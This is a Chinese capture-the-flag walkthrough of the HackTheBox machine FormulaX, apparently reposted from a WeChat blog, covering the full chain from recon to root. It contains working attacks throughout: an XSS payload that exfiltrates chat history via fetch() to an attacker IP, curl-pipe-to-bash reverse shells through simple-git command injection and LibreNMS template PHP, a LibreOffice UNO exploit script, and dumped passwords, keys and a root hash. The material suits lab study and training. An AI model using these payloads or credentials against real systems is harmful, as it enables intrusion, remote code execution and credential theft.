扫描靶机
nmap -sC -sV -T4 -Pn 10.10.11.6
就只有两个端口,将靶机的名字写到hosts里面,然后fuzz子域名
wfuzz -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -u 'http://formulax.htb' -H 'Host: FUZZ.formulax.htb' --hl 0
没找到子域名,那就进网站看看线索
这好像是一个聊天机器人的网站,下面有个创建用户,创建一个登陆进去看看
进去后中间有个交互,点击进去开始聊天
从上面看,输入help可以查看命令
然后可以看到输入history命令可以查看到以前的消息
使用burpsuite抓包一下表单查看一下什么信息
从上面的请求包可以看到,这个请求是通过Socket.IO的轮询传输方式发起的,目的是与formulax.htb服务器上的socket.io服务进行交互,特别是请求聊天历史信息,请求来自formulax.htb域下的/restricted/chat.html页面,对其该目录进行搜寻
dirsearch -u http://formulax.htb/restricted/
找到了一个chat.js文件,猜测该文件就是chat的function,进行审计
let value;
const res = axios.get(`/user/api/chat`);
const socket = io('/',{withCredentials: true});
//listening for the messages
socket.on('message', (my_message) => {
//console.log("Received From Server: " + my_message)
Show_messages_on_screen_of_Server(my_message)
})
const typing_chat = () => {
value = document.getElementById('user_message').value
if (value) {
// sending the messages to the server
socket.emit('client_message', value)
Show_messages_on_screen_of_Client(value);
// here we will do out socket things..
document.getElementById('user_message').value = ""
}
else {
alert("Cannot send Empty Messages");
}
}
function htmlEncode(str) {
return String(str).replace(/[^w. ]/gi, function (c) {
return '&#' + c.charCodeAt(0) + ';';
});
}
const Show_messages_on_screen_of_Server = (value) => {
const div = document.createElement('div');
div.classList.add('container')
div.innerHTML = `
<h2>🤖 </h2>
<p>${value}</p>
`
document.getElementById('big_container').appendChild(div)
}
// send the input to the chat forum
const Show_messages_on_screen_of_Client = (value) => {
value = htmlEncode(value)
const div = document.createElement('div');
div.classList.add('container')
div.classList.add('darker')
div.innerHTML = `
<h2>🤖 </h2>
<p>${value}</p>
`
document.getElementById('big_container').appendChild(div)
}
从里面的代码可以看到Show_messages_on_screen_of_Server函数是直接将接受的value变量直接插到html里面,顾名思义就是将用户输入的内容直接插到html里面,没有进行过滤,猜测这是可以进行xss攻击,去到隔壁的contact_us有输入表单,然后测试xss
可以反弹过来,利用原先的chat.js的代码原理,利用与服务器通过WebSocket建立实时通信的特性,重新编写一下,然后使用xss,获取一些信息
let value;
const res = axios.get(`/user/api/chat`);
const socket = io('/',{withCredentials: true});
//listening for the messages
socket.on('message', (my_message) => {
//console.log("Received From Server: " + my_message)
// Show_messages_on_screen_of_Server(my_message)
//
fetch("http://10.10.14.13/cxk" + my_message );
})
// rewrite the typing_chat function to only send message 'history'
const typing_chat_new = () => {
value = "history"; //document.getElementById('user_message').value
if (value) {
// sending the messages to the server
socket.emit('client_message', value)
Show_messages_on_screen_of_Client(value);
// here we will do out socket things..
document.getElementById('user_message').value = ""
}
else {
alert("Cannot send Empty Messages");
}
}
// send message
typing_chat_new()
POST请求包
{"first_name":"cai","last_name":"xukun","message":"<img src=x onerror="body.appendChild(createElement('script')).src='/socket.io/socket.io.js'"><img src=x onerror="body.appendChild(createElement('script')).src='http://10.10.14.13/cxk.js'"></img>"}
成功的拿到了一个子域名dev-git-auto-update.chatbot.htb,写进去hosts,然后打开看看
可以发现在底下能找到该网页的版本,可以参考这篇文章
https://security.snyk.io/vuln/SNYK-JS-SIMPLEGIT-3112221
直接在输入框这条命令
ext::sh -c curl% http://10.10.14.13/cxk.sh|bash >&2
成功拿到一个shell,通过搜寻,确定该靶机有mongo数据库
直接输入mongo,进入数据库
列出所有db,可以看到一个testing,进去看看
然后在users里面拿到一个frank的hash,直接破解
成功破解出密码manchesterunited,然后直接登陆ssh
成功拿到user flag,输入sudo -l无法查看提权信息,那就查看一下后台端口
可以看到后台有个3000端口,转发出去
回到靶机在opt文件夹里面有找到该系统的文件夹,但是无法进入
可以参考这篇文章,在利用该系统的逻辑漏洞可以创建用
https://community.librenms.org/t/adding-admin-users-on-librenms/20782
输入上面的命令可以创建用户
./adduser.php cxk cxk 10
然后直接登陆新建的用户
查看后台会发现报错的控制台,会发现报错,就是域名的问题
将librenms.com写到本地的localhost就可以了,然后重新打开
通过寻找,可以找到一个templates子目录,直接进去
记得要在http://librenms.com/那里打开,不然无法创建,在网上可以找到一篇文章,可以写php进去
https://www.sonarsource.com/blog/it-s-a-snmp-trap-gaining-code-execution-on-librenms/?utm_content=security&utm_medium=social&utm_source=twitter
根据上面的链接输入php
@php
system("id>/tmp/ikun");
@endphp
输入ls命令可以看到刚刚生成的文件,所以直接输入shell进行反弹
@php
system("curl http://10.10.14.13/cxk.sh|bash >&2");
@endphp
成功拿到了librenms用户,直接查看env的环境变量
librenms@formulax:~$ env
env
DB_PASSWORD=mychemicalformulaX
PWD=/opt/librenms
NODE_ID=648b260eb18d2
HOME=/opt/librenms
APP_KEY=base64:jRoDTOFGZEO08+68w7EzYPp8a7KZCNk+4Fhh97lnCEk=
DB_USERNAME=kai_relay
DB_HOST=localhost
USER=librenms
SHLVL=3
VAPID_PRIVATE_KEY=chr9zlPVQT8NsYgDGeVFda-AiD0UWIY6OW-jStiwmTQ
DB_DATABASE=librenms
VAPID_PUBLIC_KEY=BDhe6thQfwA7elEUvyMPh9CEtrWZM1ySaMMIaB10DsIhGeQ8Iks8kL6uLtjMsHe61-ZCC6f6XgPVt7O6liSqpvg
_=/usr/bin/env
就这样成功拿到了kai_relay用户,直接ssh登陆,密码是mychemicalformulaX
输入sudo查看到提权信息,是利用了office这个脚本,先查看一下代码
/usr/bin/soffice --calc --accept="socket,host=localhost,port=2002;urp;" --norestore --nologo --nodefault --headless
这段脚本是用来启动 LibreOffice Calc 以便它能够通过端口2002在localhost接受UNO(Universal Network Objects)远程调用的,所以可以直接在exploitdb里面搜索
成功拿到了root
root:$y$j9T$/lSSkn2dpkUFYRVCTUSn5.$XhIP3.CfCv2pusU6c4TPVgRsCedfulJNgnBbPfWXLO8:19752:0:99999:7:::
脚本
import uno
from com.sun.star.system import XSystemShellExecute
# Define the UNO component
localContext = uno.getComponentContext()
# Define the resolver to use, this is used to connect with the API
resolver = localContext.ServiceManager.createInstanceWithContext(
"com.sun.star.bridge.UnoUrlResolver", localContext )
# Connect with the provided host on the provided target port
print("[+] Connecting to target...")
context = resolver.resolve(
"uno:socket,host={0},port={1};urp;StarOffice.ComponentContext".format("localhost","2002"))
# Issue the service manager to spawn the SystemShellExecute module and execute calc.exe
service_manager = context.ServiceManager
print("[+] Connected to {0}".format("localhost"))
shell_execute = service_manager.createInstance("com.sun.star.system.SystemShellExecute")
shell_execute.execute("bash", "/tmp/cxk.sh",1)
原文始发于微信公众号(Jiyou too beautiful):HTB-FormulaX 笔记
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论